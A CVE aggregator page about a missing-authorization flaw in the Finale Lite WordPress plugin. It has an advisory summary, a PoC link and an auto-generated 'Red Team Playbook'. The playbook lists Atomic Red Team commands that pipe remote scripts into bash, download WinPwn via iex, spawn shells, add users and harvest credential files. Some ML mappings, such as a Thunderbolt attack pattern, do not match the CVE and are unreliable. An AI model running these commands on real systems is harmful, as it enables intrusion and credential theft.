CVE-2024-30485
Overview
The vulnerability is an authorization bypass in XLPlugins Finale Lite, specifically due to insufficient access control enforcement. The affected component fails to verify user privileges properly when processing certain plugin management actions, allowing unauthorized users with limited privileges to perform restricted operations. This flaw exists in the authorization logic of the plugin's administrative functions related to subscriber and plugin activation management within the WordPress environment.
Vulnerability Description
Missing Authorization vulnerability in XLPlugins Finale Lite.This issue affects Finale Lite: from n/a through 2.18.0.
Impact
An attacker with a low-privileged WordPress account can exploit this vulnerability to install and activate arbitrary plugins, effectively escalating privileges within the WordPress environment. This can lead to full site compromise, including data exfiltration, site defacement, or persistent backdoor installation. No user interaction beyond possessing a subscriber-level account is required, enabling lateral movement or takeover of the affected WordPress instance.
Solution
Users of XLPlugins Finale Lite should upgrade to version 2.18.1 or later, where the authorization checks have been properly enforced. Detailed patch instructions and advisory information are available at Patchstack's database entry for this vulnerability: https://patchstack.com/database/vulnerability/finale-woocommerce-sales-countdown-timer-discount/wordpress-finale-lite-plugin-2-18-0-subscriber-arbitrary-plugin-installation-activation-vulnerability?_s_id=cve. Applying the vendor-released update is the recommended remediation step.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The missing authorization vulnerability in XLPlugins Finale Lite presents a significant security concern for users of this WordPress plugin. This flaw allows unauthorized users to access restricted functionalities and data within the application. Specifically, the issue arises from inadequate checks on user permissions, enabling attackers to perform actions that should be reserved for authenticated users. The vulnerability affects versions of Finale Lite from its initial release up to version 2.18.0, making a substantial number of installations potentially susceptible to exploitation.
Attack vectors for this vulnerability are diverse, with the most straightforward being direct exploitation through crafted HTTP requests. An attacker could leverage tools to automate requests that bypass authorization checks, gaining access to sensitive features or data. For instance, an unauthorized user could manipulate the plugin's endpoints to retrieve or modify data that should be protected. Additionally, if the plugin integrates with other systems or APIs, the vulnerability could be exploited to escalate privileges or pivot to other parts of the network, further compromising security. Scenarios may include unauthorized data extraction, modification of user roles, or even the injection of malicious content that could affect the broader WordPress environment.
The real-world impact of this vulnerability can be profound, particularly for businesses relying on Finale Lite for their operations. Unauthorized access to sensitive data can lead to data breaches, resulting in reputational damage, loss of customer trust, and potential legal ramifications. For organizations that handle personal or financial information, the consequences could extend to regulatory fines and penalties. Furthermore, the exploitation of this vulnerability could serve as a foothold for more extensive attacks, allowing adversaries to escalate their access and compromise additional systems within the organization. The business risk is compounded by the potential for operational disruptions and the costs associated with incident response and recovery efforts.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. Regular security audits and code reviews can help identify and remediate missing authorization checks before they are exploited. Additionally, employing web application firewalls (WAFs) can provide an additional layer of protection by monitoring and filtering malicious traffic aimed at exploiting this vulnerability. Organizations should also ensure that they are using the latest version of Finale Lite, as updates often contain critical security patches. Educating users about the importance of strong authentication practices and monitoring access logs for unusual activity can further enhance security posture.
In conclusion, the missing authorization vulnerability in XLPlugins Finale Lite poses a significant threat to users and organizations leveraging this WordPress plugin. The potential for unauthorized access to sensitive functionalities and data underscores the importance of robust security practices. By understanding the technical details, recognizing the various attack vectors, assessing the real-world impact, and implementing effective detection and mitigation strategies, organizations can better protect themselves against this and similar vulnerabilities. Continuous vigilance and proactive security measures are essential in today’s evolving threat landscape.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Xlplugins | Finale | All |
cpe:2.3:a:xlplugins:finale:*:*:*:*:lite:wordpress:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
Nxploited/CVE-2024-30485
WordPress Finale Lite plugin <= 2.18.0 - Subscriber+ Arbitrary Plugin Installation/Activation vulnerability
|
Nxploited | 1 | 0 | 2025-03-12 | View |
Threat Feed
1 eventsProof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-665 | Exploitation of Thunderbolt Protection Flaws |
42%
|
Low | Very High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (2)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-30485 |
| patchstack.com |
GitHub CVE
vdb-entry
|
https://patchstack.com/database/vulnerability/finale-woocommerce-sales-countdown-timer-discount/wordpress-finale-lite-plugin-2-18-0-subscriber-arbitrary-plugin-installation-activation-vulnerability?_s_id=cve |